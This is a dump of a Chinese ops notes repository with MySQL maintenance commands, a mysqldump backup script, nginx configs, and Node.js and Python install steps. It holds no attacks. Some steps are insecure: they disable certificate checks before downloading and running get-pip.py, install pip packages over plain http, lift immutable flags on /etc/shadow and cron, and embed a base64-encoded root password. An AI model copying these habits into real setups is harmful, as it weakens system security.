https://mp.weixin.qq.com/s?__biz=MjM5NzAzMTY4NQ==&mid=205830212&idx=1&sn=c018f0903454b34196081bb79c244be5&scene=21#wechat_redirect 2 | 3 | 4 | 5 | https://zhuanlan.zhihu.com/p/49592137 阿里P8架构师谈(数据库系列):MySQL慢查询优化、索引优化、以及表等优化总结 6 | 7 | -------------------------------------------------------------------------------- /mysql/mysql_binlog清理.md: -------------------------------------------------------------------------------- 1 | # 一、设置删除binlog日志 2 | ``` 3 | 1.重启mysql,开启mysql主从,设置expire_logs_days 4 | 5 | # vim /etc/my.cnf //修改expire_logs_days,x是自动删除的天数,一般将x设置为短点,如10 6 | expire_logs_days = 3 //二进制日志自动删除的天数。默认值为0,表示“没有自动删除” 7 | 8 | 此方法需要重启mysql,附录有关于expire_logs_days的英文说明 9 | ``` 10 | 11 | # 二、不重启mysql方法 12 | 13 | ``` 14 | 当然也可以不重启mysql,开启mysql主从,直接在mysql里设置expire_logs_days 15 | > show binary logs; 16 | > show variables like '%log%'; 17 | > set global expire_logs_days = 3; 18 | ``` 19 | 20 | # 三、手动清理 21 | ``` 22 | mysql> show binary logs; 23 | +-------------------+-----------+ 24 | | Log_name | File_size | 25 | +-------------------+-----------+ 26 | | master-bin.000730 | 536972901 | 27 | | master-bin.000731 | 536940176 | 28 | | master-bin.000732 | 536875818 | 29 | | master-bin.000733 | 536871791 | 30 | | master-bin.000734 | 536958316 | 31 | | master-bin.000735 | 536887793 | 32 | | master-bin.000736 | 537372016 | 33 | | master-bin.000737 | 536963235 | 34 | | master-bin.000738 | 536874615 | 35 | | master-bin.000739 | 536928013 | 36 | | master-bin.000740 | 409281369 | 37 | +-------------------+-----------+ 38 | 11 rows in set (0.00 sec) 39 | 40 | mysql> purge binary logs to 'master-bin.000732'; 41 | 42 | 43 | ``` 44 | 参考文档: 45 | 46 | 47 | https://www.cnblogs.com/love123/p/6898568.html 48 | 49 | -------------------------------------------------------------------------------- /mysql/mysql_relaylog清理.md: -------------------------------------------------------------------------------- 1 | ``` 2 | show variables like '%relay_log_purge%'; 3 | 4 | 5 | 你的是io线程没有断开,一直把主库的日志拉过来了,sql线程应用完,你开了自动清理的后面就会删除掉的,要sql线程把那些日志先应用完 6 | 7 | 8 | 10几天累计的日志,全放relaylog了,所以这么大,等你实时同步了,就没那么多了 9 | 10 | ``` 11 | 12 | ![Mysql relaylog](https://github.com/Lancger/opslinux/blob/master/images/relaylog.png) 13 | -------------------------------------------------------------------------------- /mysql/mysql使用存储过程压测.md: -------------------------------------------------------------------------------- 1 | ``` 2 | #创建数据表的结构 3 | create table test_while (id int primary key) charset = utf8; 4 | 5 | 6 | #查看数据表的结构 7 | desc test_while; 8 | 9 | #清理表数据 10 | truncate table test_while; 11 | 12 | #创建存储过程 13 | delimiter # 14 | create procedure test_sed1() 15 | begin 16 | declare i int default 0; 17 | while i < 10000000 do 18 | insert into test_while(id) values(i); 19 | set i = i + 1; 20 | end while; 21 | end # 22 | 23 | delimiter ; 24 | call test_sed1(); 25 | ``` 26 | 27 | 参考文档: 28 | 29 | https://www.cnblogs.com/shootercheng/p/6103812.html 30 | -------------------------------------------------------------------------------- /mysql/mysql大量的waiting for table level lock怎么办.md: -------------------------------------------------------------------------------- 1 | 参考文档: 2 | 3 | https://mp.weixin.qq.com/s/13drxvCZy-ETjyikR0GH3w 4 | -------------------------------------------------------------------------------- /mysql/mysql导出数据保存csv.md: -------------------------------------------------------------------------------- 1 | ``` 2 | mysql -A db_name -h host_name -u user_name -p -e "SELECT * FROM table_name LIMIT 100;" > apps.csv 3 | 4 | ``` 5 | 6 | 参考文档: 7 | 8 | http://www.cnblogs.com/tommy-huang/p/9417090.html 9 | -------------------------------------------------------------------------------- /mysql/scripts/backdb.sh: -------------------------------------------------------------------------------- 1 | ``` 2 | #!/bin/bash 3 | BAKDIR="/data0/DBbackup" 4 | DBUSER=root 5 | DBPWD=$(/usr/bin/perl -e 'use MIME::Base64; print decode_base64("jTQ==")') 6 | HOST="127.0.0.1" 7 | mkdir -p ${BAKDIR} 8 | dbs=`/usr/bin/mysql -h${HOST} -u${DBUSER} -p${DBPWD} -e "show databases;" |grep -v \+ |grep -v Database |grep -v mysql | grep -v test |grep -v sys |grep -v information_schema |grep -v performance_schema` 9 | for db in ${dbs} 10 | do 11 | /usr/bin/mysqldump -u${DBUSER} -p${DBPWD} -h${HOST} --opt --single-transaction --master-data=2 -R ${db} |gzip >"${BAKDIR}"/${db}_`date +%F-%H:%M`.sql.gz 12 | if [ $? -eq 0 ] 13 | then 14 | count=`ls -lrt ${BAKDIR} |grep "${db}_.*\.sql.gz" |wc -l` 15 | if [ ${count} -gt 3 ] 16 | then 17 | del_count=$[ count - 3 ] 18 | ls -lrt ${BAKDIR} |grep "${db}_.*\.sql.gz" |awk '{print $9}'|sed -n "1,${del_count}p" >/tmp/del_sql.log 19 | cd ${BAKDIR} 20 | for i in `cat /tmp/del_sql.log` 21 | do 22 | echo $i 23 | #rm -rf ${i} 24 | done 25 | cd - 26 | fi 27 | fi 28 | done 29 | ``` 30 | 31 | ``` 32 | chattr -i /var/spool/cron/root 33 | 34 | echo "# DB_BACKUP" >> /var/spool/cron/root 35 | echo "0 0 * * * /data1/backdb.sh >/dev/null 2>&1" >> /var/spool/cron/root 36 | 37 | chattr +i /var/spool/cron/root 38 | 39 | # DB_BACKUP 40 | 0 0 * * * /data1/backdb.sh >/dev/null 2>&1 41 | ``` 42 | 43 | 参考文档; 44 | 45 | https://blog.csdn.net/demonson/article/details/87936096 使用 mysqldump 备份数据库时避免锁表 46 | -------------------------------------------------------------------------------- /mysql/tools/1、mysql跳过主从错误.md: -------------------------------------------------------------------------------- 1 | # 一、跳过主从 2 | ``` 3 | stop slave; 4 | set global sql_slave_skip_counter =1; 5 | start slave; 6 | show slave status\G; 7 | ``` 8 | 9 | # 二、从库设置只读 10 | ``` 11 | mysql> set global read_only = 1; 12 | Query OK, 0 rows affected (0.00 sec) 13 | 14 | mysql> show variables like '%read_only%'; 15 | +------------------+-------+ 16 | | Variable_name | Value | 17 | +------------------+-------+ 18 | | innodb_read_only | OFF | 19 | | read_only | ON | 20 | | tx_read_only | OFF | 21 | +------------------+-------+ 22 | 3 rows in set (0.00 sec) 23 | ``` 24 | 25 | 26 | 参考资料: 27 | 28 | https://blog.csdn.net/hardworking0323/article/details/81046408 29 | -------------------------------------------------------------------------------- /mysql/tools/3、mysql查看死锁和解除锁.md: -------------------------------------------------------------------------------- 1 | # 第一种 2 | ``` 3 | 1.查询是否锁表 4 | mysql> show OPEN TABLES where In_use > 0; 5 | +-------------+-----------------------+--------+-------------+ 6 | | Database | Table | In_use | Name_locked | 7 | +-------------+-----------------------+--------+-------------+ 8 | | iaas_center | i_miner_app_bandwidth | 2 | 0 | 9 | | iaas_center | i_miner_basic_info | 2 | 0 | 10 | +-------------+-----------------------+--------+-------------+ 11 | 2 rows in set (0.00 sec) 12 | 13 | 2.查询进程(如果您有SUPER权限,您可以看到所有线程。否则,您只能看到您自己的线程) 14 | show processlist; 15 | 16 | 3.杀死进程id(就是上面命令的id列) 17 | kill id 18 | ``` 19 | 20 | # 第二种 21 | ``` 22 | 1.查看下在锁的事务  23 | SELECT * FROM INFORMATION_SCHEMA.INNODB_TRX; 24 | 25 | 2.杀死进程id(就是上面命令的trx_mysql_thread_id列) 26 | kill 线程ID 27 | 28 | 例子: 29 | 查出死锁进程:SHOW PROCESSLIST
 30 | 31 | 杀掉进程          KILL 420821; 32 | 33 | 其它关于查看死锁的命令: 34 | 1:查看当前的事务 35 | SELECT * FROM INFORMATION_SCHEMA.INNODB_TRX; 36 | 37 | 2:查看当前锁定的事务 38 | SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCKS; 39 | 40 | 3:查看当前等锁的事务
SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCK_WAITS; 41 | 42 | mysql> show variables like 'innodb_lock_wait_timeout'; 43 | +--------------------------+-------+ 44 | | Variable_name | Value | 45 | +--------------------------+-------+ 46 | | innodb_lock_wait_timeout | 50 | 47 | +--------------------------+-------+ 48 | 49 | 50 | set global innodb_lock_wait_timeout=200; 51 | ``` 52 | 参考资料: 53 | 54 | https://www.cnblogs.com/chancy/p/10701739.html mysql查看死锁和解除锁 55 | -------------------------------------------------------------------------------- /mysql/tools/4、如何基于Canal和Kafka,实现 MySQL 的 Binlog 近实时同步.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://mp.weixin.qq.com/s/VfkngOymFgNhY77RQV_lbw 如何基于 Canal 和 Kafka,实现 MySQL 的 Binlog 近实时同步? 4 | -------------------------------------------------------------------------------- /mysql/性能优化/MySQL优化.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://mp.weixin.qq.com/s?__biz=MzI4NDM5NzE4Ng==&mid=2247484487&idx=1&sn=0d7a551f5e7cfe6d39fa6f4276fce6d0&chksm=ebfd5faadc8ad6bc0b07557c7035aea9f58efb7c80cdf7bc812d06c232f2d3fb7cb4a39798e0&mpshare=1&scene=23&srcid=#rd 4 | 数据库 | 跟郭导学MySQL:优化 5 | -------------------------------------------------------------------------------- /mysql/用pigz代替gzip.md: -------------------------------------------------------------------------------- 1 | # 一、安装 2 | pigz简单的说,就是支持并行的gzip。废话不多说,开始测试。 3 | ``` 4 | #1、yum安装 5 | yum -y install pigz 6 | 7 | #2、编译安装 8 | yum -y install zlib-devel 9 | cd /usr/local/src/ 10 | wget http://zlib.net/pigz/pigz-2.4.tar.gz 11 | tar zxvf pigz-2.4.tar.gz 12 | cd pigz-2.4 13 | make 14 | cp pigz unpigz /usr/bin/ 15 | ``` 16 | 17 | # 二、压缩 18 | ``` 19 | ### 使用gzip进行压缩(单线程) 20 | time tar -zcvf index.tar.gz hg19_index/ 21 | 22 | real 5m28.824s 23 | user 5m3.866s 24 | sys 0m35.314s 25 | 26 | ### 使用4线程的pigz进行压缩 27 | time tar -cvf - hg19_index/ | pigz -p 4 > index_p4.tat.gz 28 | 29 | 30 | real 1m18.236s 31 | user 5m22.578s 32 | sys 0m35.933s 33 | 34 | ### 使用16线程的pigz进行压缩 35 | time tar -cvf - hg19_index/ | pigz -p 16 > index_p16.tar.gz 36 | 37 | real 0m23.643s 38 | user 6m24.054s 39 | sys 0m24.923s 40 | ``` 41 | 42 | # 三、解压 43 | ``` 44 | ### 解压文件 45 | time pigz -p 8 -d index_p8.tar.gz 46 | 47 | real 0m27.717s 48 | user 0m30.070s 49 | sys 0m22.515s 50 | ``` 51 | 52 | 53 | 参考文档: 54 | 55 | https://www.jianshu.com/p/455ffef0a3c8 多线程压缩工具pigz使用 56 | -------------------------------------------------------------------------------- /nginx/Nginx配置禁止IP直接HTTP、HTTPS访问.md: -------------------------------------------------------------------------------- 1 | ``` 2 | #http 3 | server 4 | { 5 | listen 80 default_server; 6 | server_name _; 7 | return 403; 8 | } 9 | 10 | #https 11 | server 12 | { 13 | listen 443 ssl default_server; 14 | server_name _; 15 | ssl_certificate /usr/local/nginx/conf/cert/2018.pem; 16 | ssl_certificate_key /usr/local/nginx/conf/cert/2018.key; 17 | return 403; 18 | } 19 | ``` 20 | 21 | 参考资料: 22 | 23 | https://www.centos.bz/2017/12/nginx%E9%85%8D%E7%BD%AE%E7%A6%81%E6%AD%A2ip%E7%9B%B4%E6%8E%A5http-https%E8%AE%BF%E9%97%AE/ 24 | -------------------------------------------------------------------------------- /nginx/README.md: -------------------------------------------------------------------------------- 1 | 参考文档: 2 | 3 | https://www.cnblogs.com/qcloud1001/p/6617970.html Nginx网站使用CDN之后禁止用户真实IP访问的方法 4 | 5 | 6 | nginx IP 访问 7 | 8 | listen 80 default_server; 9 | -------------------------------------------------------------------------------- /nginx/conf/proxy_store_off.conf: -------------------------------------------------------------------------------- 1 | proxy_redirect off; 2 | proxy_set_header Host $host; 3 | proxy_set_header X-Real-IP $remote_addr; 4 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 5 | client_max_body_size 50m; 6 | client_body_buffer_size 256k; 7 | proxy_connect_timeout 300; 8 | proxy_send_timeout 300; 9 | proxy_read_timeout 300; 10 | proxy_buffer_size 4k; 11 | proxy_buffers 4 32k; 12 | proxy_busy_buffers_size 64k; 13 | proxy_temp_file_write_size 64k; 14 | proxy_next_upstream error timeout invalid_header http_500 http_503 http_404; 15 | proxy_max_temp_file_size 128m; 16 | 17 | proxy_hide_header Expires; 18 | proxy_hide_header Pragma; 19 | proxy_hide_header Cache-Control; 20 | 21 | proxy_store off; 22 | -------------------------------------------------------------------------------- /nginx/conf/vhosts/quant.test.com.conf: -------------------------------------------------------------------------------- 1 | server 2 | { 3 | listen 80; 4 | server_name daily.test.com; 5 | 6 | index index.jsp index.html index.htm ; 7 | access_log /usr/local/nginx/logs/daily.test.com.log cdn; 8 | error_log /usr/local/nginx/logs/daily.test.com.error.log info; 9 | 10 | location ~* ^/webapi { 11 | include /usr/local/nginx/conf/proxy_store_off.conf; 12 | add_header Cache-Control no-cache; 13 | expires -1; 14 | proxy_pass http://quant-webapi; 15 | } 16 | 17 | location / { 18 | include /usr/local/nginx/conf/proxy_store_off.conf; 19 | add_header Cache-Control no-cache; 20 | expires -1; 21 | proxy_pass http://quant-webclient; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /nginx/documents/nginx日志分析样例.md: -------------------------------------------------------------------------------- 1 | # 一、grep获取某个时间段的日志 2 | ``` 3 | #获取8月25号18:25-29时间段的日志 4 | 5 | grep -n "25/Aug/2019:18:2[5-9]:00" www.test.co.log > /tmp/1.log 6 | 7 | 参考:https://blog.csdn.net/weixin_36691991/article/details/89456337 8 | ``` 9 | 10 | # 二、sed获取某个时间段的日志 11 | ``` 12 | 日志原格式 13 | 47.56.116.73 - - [25/Aug/2019:21:54:53 +0800] "POST /api/v1/cancelEntrust HTTP/1.1" 200 46 "-" "Apache-HttpClient/4.5.6 (Java/1.8.0_161)" "-" "172.18.15.82:8080" "200" "0.035" "0.035" 14 | 15 | sed -n '/25\/Aug\/2019:21:49:19/','/25\/Aug\/2019:21:50:19/p' www.test.co.log 16 | 17 | 参考:https://www.jianshu.com/p/6f019e182e52 18 | ``` 19 | -------------------------------------------------------------------------------- /nginx/documents/nginx日志切割.md: -------------------------------------------------------------------------------- 1 | 2 | 参考资料: 3 | 4 | https://www.cnblogs.com/ilanni/p/5365420.html 切割nginx日志 5 | -------------------------------------------------------------------------------- /nginx/documents/nginx预防常见攻击.md: -------------------------------------------------------------------------------- 1 | nginx防止DDOS攻击 2 | 3 | 4 | 5 | nginx防止CC攻击 6 | 7 | 8 | 参考资料: 9 | 10 | https://www.cnblogs.com/joinbestgo/p/10766352.html#nginx nginx预防常见攻击 11 | -------------------------------------------------------------------------------- /nginx/documents/从HTTP响应头看各家CDN缓存技术.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://segmentfault.com/a/1190000006673084 从HTTP响应头看各家CDN缓存技术 4 | -------------------------------------------------------------------------------- /nginx/documents/压测指标概念.md: -------------------------------------------------------------------------------- 1 | 参考链接: 2 | 3 | 压测指标概念 4 | 5 | (1)https://www.cnblogs.com/shijingjing07/p/6507317.html 6 | 7 | (2)https://blog.csdn.net/adparking/article/details/45673315 8 | -------------------------------------------------------------------------------- /nginx/init.d/nginx.service: -------------------------------------------------------------------------------- 1 | #vim /lib/systemd/system/nginx.service 2 | 3 | [Unit] 4 | Description=nginx 5 | After=network.target 6 | 7 | [Service] 8 | Type=forking 9 | ExecStart=/usr/local/nginx/sbin/nginx 10 | ExecReload=/usr/local/nginx/sbin/nginx -s reload 11 | ExecStop=/usr/local/nginx/sbin/nginx -s quit 12 | PrivateTmp=true 13 | 14 | [Install] 15 | WantedBy=multi-user.target 16 | 17 | 18 | 19 | # 设置开机启动 20 | systemctl enable nginx 21 | 22 | # 停止开机自动启动 23 | systemctl disable nginx 24 | 25 | # 启动nginx服务 26 | systemctl restart nginx 27 | 28 | # 查看服务当前状态 29 | systemctl status nginx 30 | 31 | # 重启nginx服务 32 | systemctl restart nginx.service 33 | 34 | 35 | # 查看所有已经启动的服务 36 | systemctl list-units --type=service 37 | -------------------------------------------------------------------------------- /nginx/install/Centos7.6_rpm_install_nginx.md: -------------------------------------------------------------------------------- 1 | # 一、安装 2 | ``` 3 | chattr -i /etc/passwd* && chattr -i /etc/group* && chattr -i /etc/shadow* && chattr -i /etc/gshadow* 4 | cd /usr/local/src 5 | wget -N http://nginx.org/packages/rhel/7/x86_64/RPMS/nginx-1.16.0-1.el7.ngx.x86_64.rpm 6 | rpm -Uvh nginx-1.16.0-1.el7.ngx.x86_64.rpm 7 | 8 | #卸载 9 | rpm -e nginx-1.16.0-1.el7.ngx.x86_64 10 | 11 | rpm -qa|grep nginx|xargs rpm -e 12 | ``` 13 | 14 | # 二、启动 15 | ``` 16 | systemctl restart nginx 17 | 18 | systemctl enable nginx 19 | ``` 20 | # 三、日志切割 21 | ``` 22 | cat >/etc/logrotate.d/nginx<<\EOF 23 | /var/log/nginx/*.log 24 | { 25 | daily 26 | rotate 50 27 | missingok 28 | dateext 29 | compress 30 | notifempty 31 | sharedscripts 32 | postrotate 33 | [ -e /var/run/nginx.pid ] && kill -USR1 `cat /var/run/nginx.pid` 34 | endscript 35 | } 36 | EOF 37 | 38 | #测试 39 | logrotate -vf /etc/logrotate.d/nginx 40 | 41 | ls /var/log/nginx/* -lh 42 | 43 | #添加定时任务 44 | 59 23 * * * /usr/sbin/logrotate -vf /etc/logrotate.d/nginx 45 | ``` 46 | 47 | # 参考资料: 48 | 49 | https://stackoverflow.com/questions/27849331/how-to-set-nginx-max-open-files 50 | -------------------------------------------------------------------------------- /nginx/nginx做文件下载服务器.md: -------------------------------------------------------------------------------- 1 | # 一、代理配置 2 | ```bash 3 | cat >/etc/nginx/conf.d/download.conf<<\EOF 4 | server { 5 | listen 80 default_server; 6 | listen [::]:80 default_server; 7 | 8 | server_name download.devops.com; 9 | 10 | location / { 11 | root /usr/share/nginx/html/download; 12 | autoindex on; #开启索引功能 13 | autoindex_exact_size off; #关闭计算文件确切大小(单位bytes),只显示大概大小(单位kb、mb、gb) 14 | autoindex_localtime on; #显示本机时间而非 GMT 时间 15 | } 16 | 17 | error_page 404 /404.html; 18 | location = /40x.html { 19 | } 20 | 21 | error_page 500 502 503 504 /50x.html; 22 | location = /50x.html { 23 | } 24 | } 25 | EOF 26 | 27 | systemctl restart nginx 28 | ``` 29 | 30 | # 下载测试 31 | ``` 32 | wget http://download.devops.com/a.tar.gz 33 | ``` 34 | -------------------------------------------------------------------------------- /nginx/nginx报错upstream response is buffered to a temporary file.md: -------------------------------------------------------------------------------- 1 | # 一、需求与问题 2 | ``` 3 | 访问新项目网站发现有静态资源获取failed,图片经常无法显示,刷新偶尔图片能显示出来。 4 | 查看nginx日志,有error.log报错: 5 | 6 | 【2017/07/21 22:53:12 [warn] 22402#0: *484 an upstream response is buffered to a temporary file /var/tmp/nginx/proxy//6/01/0000000016 while reading upstream, client: 106.121.13.193, server: wap.example.com, request: “GET /source/images/applyfristbg.jpg HTTP/1.1”, upstream: “http://127.0.0.1:8081/source/images/applyfristbg.jpg", host: “wap.example.com”, referrer: “http://wap.example.com/source/css/apply-first-7ae1ca00a910468d350b293787c7e95dfbebd675.css”】 7 | 8 | ``` 9 | 10 | # 二、问题原因 11 | ``` 12 | 1、是因为nginx默认的buffer太小,请求头header太大时会出现缓存不足,写入到了磁盘中,造成访问中断。 13 | 2、进而联系前端得知前端为了SEO,在header中加入和不少的中文词汇,header体积那叫一个大。 14 | 15 | ``` 16 | 17 | # 三、解决办法 18 | 19 | 因为nginx+tomcat中,nginx做的proxy,就是反向代理,所以在nginx+tomcat模式中,修改fastcgi_buffer_* 是无效的,需要修改proxy对应的buffer大小。 20 | 21 | 对于php+nginx的可以设置为: 22 | ``` 23 | fastcgi_buffer_size 512k; 24 | fastcgi_buffers 6 512k; 25 | fastcgi_busy_buffers_size 512k; 26 | fastcgi_temp_file_write_size 512k; 27 | ``` 28 | 对于tomcat+nginx的可以设置为: 29 | ``` 30 | proxy_buffering off; 31 | proxy_buffer_size 128k; 32 | proxy_buffers 100 128k; 33 | client_max_body_size 100m; 34 | ``` 35 | 36 | 参考资料: 37 | 38 | http://madblog.cn/posts/3a67d943aecf0d77.html 39 | -------------------------------------------------------------------------------- /nginx/nginx转发websocket报400错误.md: -------------------------------------------------------------------------------- 1 | 2 | 参考文档: 3 | 4 | https://blog.godotdotdot.com/2017/12/04/%E8%A7%A3%E5%86%B3nginx%E8%BD%AC%E5%8F%91websocket%E6%8A%A5400%E9%94%99%E8%AF%AF/ 5 | -------------------------------------------------------------------------------- /nginx/nginx配置ssl并http重定向到https.md: -------------------------------------------------------------------------------- 1 | # 一、使用全站加密,http自动跳转https(可选) 2 | 3 | 对于用户不知道网站可以进行https访问的情况下,让服务器自动把http的请求重定向到https。 4 | 5 | 在服务器这边的话配置的话,可以在页面里加js脚本,也可以在后端程序里写重定向,当然也可以在web服务器来实现跳转。 6 | 7 | Nginx是支持rewrite的(只要在编译的时候没有去掉pcre) 8 | 9 | 在http的server里增加rewrite ^(.*) https://$host$1 permanent; 10 | 11 | ``` 12 | server { 13 | listen 80; 14 | server_name xxx.com www.xxx.com; 15 | rewrite ^(.*) https://$host$1 permanent; 16 | } 17 | 18 | 19 | server { 20 | listen 80; 21 | server_name xxx.com www.xxx.com; 22 | return 301 https://$server_name$request_uri; //这是 nginx 最新支持的写法 23 | } 24 | 25 | 要新加一个server 不要写在listen 443里面,写在里面就一直是https重定向到https,进入死循环。 26 | ``` 27 | 28 | 参考文档: 29 | 30 | https://blog.csdn.net/benpaodelulu_guajian/article/details/78456971 服务器 nginx配置ssl并http重定向到https 31 | -------------------------------------------------------------------------------- /nginx/查看nginx进程的资源限制情况.md: -------------------------------------------------------------------------------- 1 | ``` 2 | [root@test-17 /data0/nginx/conf]# cat /proc/23783/limits 23783为nginx的pid 3 | Limit Soft Limit Hard Limit Units 4 | Max cpu time unlimited unlimited seconds 5 | Max file size unlimited unlimited bytes 6 | Max data size unlimited unlimited bytes 7 | Max stack size 8388608 unlimited bytes 8 | Max core file size 0 unlimited bytes 9 | Max resident set unlimited unlimited bytes 10 | Max processes 63469 63469 processes 11 | Max open files 65535 65535 files 12 | Max locked memory 65536 65536 bytes 13 | Max address space unlimited unlimited bytes 14 | Max file locks unlimited unlimited locks 15 | Max pending signals 63469 63469 signals 16 | Max msgqueue size 819200 819200 bytes 17 | Max nice priority 0 0 18 | Max realtime priority 0 0 19 | Max realtime timeout unlimited unlimited us 20 | ``` 21 | -------------------------------------------------------------------------------- /nginx/绕过CDN查找网站真实IP.md: -------------------------------------------------------------------------------- 1 | 2 | 参考文档: 3 | 4 | 5 | https://blog.csdn.net/xuchen16/article/details/82860727 绕过CDN查找网站真实IP 6 | -------------------------------------------------------------------------------- /node/README.md: -------------------------------------------------------------------------------- 1 | # CentOS 7下安装 Node.js 2 | 3 | ## 一、源码安装 4 | 5 | ### 1、下载源码 6 | 你需要在 https://nodejs.org/en/download/ 下载最新的Nodejs版本,本文v7.8.0以为例: 7 | ```bash 8 | yum install gcc gcc-c++ 9 | cd /usr/local/src/ 10 | wget https://nodejs.org/dist/v7.8.0/node-v7.8.0.tar.gz 11 | ``` 12 | 13 | ### 2、解压源码 14 | ```bash 15 | tar -zxvf node-v7.8.0.tar.gz 16 | ``` 17 | 18 | ### 3、 编译安装 19 | ```bash 20 | cd node-v7.8.0 21 | ./configure --prefix=/usr/local/node/ 22 | make 23 | make install 24 | ``` 25 | 26 | ### 4、 配置NODE_HOME,进入profile编辑环境变量 27 | ```bash 28 | #vim /etc/profile 29 | 30 | #set for nodejs 31 | export NODE_HOME=/usr/local/node/ 32 | export PATH=$NODE_HOME/bin:$PATH 33 | 34 | :wq保存并退出,编译/etc/profile 使配置生效 35 | 36 | source /etc/profile 37 | ###验证是否安装配置成功 38 | 39 | node -v 40 | 41 | 输出 v7.8.0 表示配置成功 ###npm模块安装路径 42 | 43 | /usr/local/node/lib/node_modules/ 44 | 45 | 注:Nodejs 官网提供了编译好的Linux二进制包,你也可以下载下来直接应用。 46 | ``` 47 | 48 | ### 二、编译好的nodejs二进制包 49 | 50 | ```bash 51 | export VER=v16.14.2 52 | cd /usr/local/src/ 53 | wget https://nodejs.org/dist/${VER}/node-${VER}-linux-x64.tar.xz 54 | tar -xf node-${VER}-linux-x64.tar.xz 55 | mv node-${VER}-linux-x64 /usr/local/node 56 | 57 | vim /etc/profile 58 | 添加 59 | #set for nodejs 60 | export NODE_HOME=/usr/local/node/ 61 | export PATH=$NODE_HOME/bin:$PATH 62 | 63 | source /etc/profile 64 | 65 | root># node -v 66 | v16.14.2 67 | 68 | root># npm -v 69 | 8.5.0 70 | 71 | #安装依赖报错,强行解决依赖 72 | npm install --legacy-peer-deps 73 | ``` 74 | 75 | ### 验证nodejs环境是否正常 76 | 77 | 参考 http://www.runoob.com/nodejs/nodejs-http-server.html 78 | 79 | ### 安装cnpm 80 | 81 | npm install -g cnpm --registry=https://registry.npm.taobao.org 82 | -------------------------------------------------------------------------------- /node/install-vue-cli.md: -------------------------------------------------------------------------------- 1 | # 一、安装 2 | 3 | cnpm install vue-cli -g 全局安装 4 | -------------------------------------------------------------------------------- /node/node GLIBCXX_3.4.14 not found required by node.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://tech1024.com/original/3021 node: /usr/lib64/libstdc++.so.6: version `GLIBCXX_3.4.14' not found (required by node) 4 | 5 | https://www.cnblogs.com/reblue520/p/11753633.html centos6.10环境安装nodejs8.2.1 6 | -------------------------------------------------------------------------------- /python/Python生成pyc文件.md: -------------------------------------------------------------------------------- 1 | ``` 2 | 生成单个pyc文件 3 | 4 | 对于py文件,可以执行下面命令来生成pyc文件。 5 | 6 | python -m foo.py 7 | ``` 8 | 参考文档: 9 | 10 | https://www.cnblogs.com/zhangqunshi/p/6657208.html 11 | -------------------------------------------------------------------------------- /python/README.md: -------------------------------------------------------------------------------- 1 | # python 手册 2 | 3 | ``` 4 | cat > /tmp/1.py << \EOF 5 | #!/usr/bin/env python 6 | # -*- coding: utf-8 -*- 7 | 8 | import requests 9 | #请求地址 10 | url = "http://127.0.0.1:6381/status" 11 | 12 | #发送get请求 13 | r = requests.get(url) 14 | 15 | #获取返回的json数据 16 | print(r.json()) 17 | EOF 18 | 19 | python /tmp/1.py 20 | ``` 21 | -------------------------------------------------------------------------------- /python/install_python3.7.md: -------------------------------------------------------------------------------- 1 | ## 一、安装依赖 2 | ```bash 3 | #安装相关编译工具 4 | yum install -y readline readline-devel gcc gcc-c++ zlib zlib-devel openssl openssl-devel sqlite-devel python-devel 5 | 6 | #python3.7版本需要 7 | yum install libffi-devel -y 8 | ``` 9 | 10 | ## 二、下载并安装python3.7 11 | ```bash 12 | #源码安装 13 | export VER="3.7.4" 14 | cd /usr/local/src/ 15 | wget -N https://www.python.org/ftp/python/${VER}/Python-${VER}.tgz 16 | tar -xzf Python-${VER}.tgz 17 | cd Python-${VER} 18 | ./configure --prefix=/usr/local/python3.7 --enable-shared 19 | make -j 4 && make install 20 | 21 | ln -s /usr/local/python3.7/bin/python3.7 /usr/bin/python3 22 | ln -s /usr/local/python3.7/bin/pip3 /usr/bin/pip3 23 | ln -s /usr/local/python3.7/bin/pyvenv /usr/bin/pyvenv 24 | 25 | # 链接库文件 26 | cp /usr/local/python3.7/lib/libpython3.7m.so.1.0 /usr/local/lib 27 | cd /usr/local/lib 28 | ln -s libpython3.7m.so.1.0 libpython3.7m.so 29 | echo '/usr/local/lib' >> /etc/ld.so.conf 30 | /sbin/ldconfig 31 | ``` 32 | 33 | ## 三、pip升级 34 | ```bash 35 | wget --no-check-certificate https://bootstrap.pypa.io/get-pip.py 36 | python3 get-pip.py 37 | 38 | pip3 install --upgrade pip -i https://pypi.mirrors.ustc.edu.cn/simple/ 39 | pip3 install -i https://pypi.mirrors.ustc.edu.cn/simple/ -r requirements.txt #可用的 40 | ``` 41 | 42 | ## 四、创建虚拟环境 43 | ```bash 44 | #推荐使用 45 | cd /usr/local/ 46 | python3 -m venv demovenv 47 | cd demovenv 48 | source bin/activate 49 | 50 | cd /usr/local/ 51 | /usr/local/python3.7/bin/pyvenv demovenv 52 | cd demovenv 53 | source bin/activate 54 | ``` 55 | -------------------------------------------------------------------------------- /python/pip.md: -------------------------------------------------------------------------------- 1 | ## 一、安装pip 2 | 3 | wget --no-check-certificate https://bootstrap.pypa.io/get-pip.py 4 | python get-pip.py 5 | 6 | pip install --trusted-host mirrors.aliyun.com -i https://mirrors.aliyun.com/pypi/simple/ -r requirements.txt 7 | 8 | pip install -i https://pypi.mirrors.ustc.edu.cn/simple/ -r requirements.txt 可用的 9 | 10 | pip install -i https://pypi.douban.com/simple/ -r requirements.txt 可用的 11 | 12 | 遇到SSL错误可使用下面方式 13 | pip install -r requirements.txt -i http://pypi.douban.com/simple --trusted-host pypi.douban.com 14 | 15 | 16 | ##pip版本升级 17 | pip install --upgrade pip 18 | 19 | 20 | ## 二、安装mysql-python 21 | 22 | yum install -y python-devel mysql-devel gcc 23 | 24 | pip install MySQL-python --trusted-host mirrors.aliyun.com -i https://mirrors.aliyun.com/pypi/simple/ 25 | 26 | 27 | ## 三、centos6.5安装pip 28 | 29 | 报错 _blocking_errnos = {errno.EAGAIN, errno.EWOULDBLOCK} pip 30 | 31 | ``` 32 | wget -O /tmp/get-pip.py https://raw.githubusercontent.com/pypa/get-pip/master/2.6/get-pip.py 33 | 34 | python2.6 /tmp/get-pip.py -i https://pypi.mirrors.ustc.edu.cn/simple/ 35 | 36 | https://www.qingtingip.com/h_114834.html 37 | ``` 38 | -------------------------------------------------------------------------------- 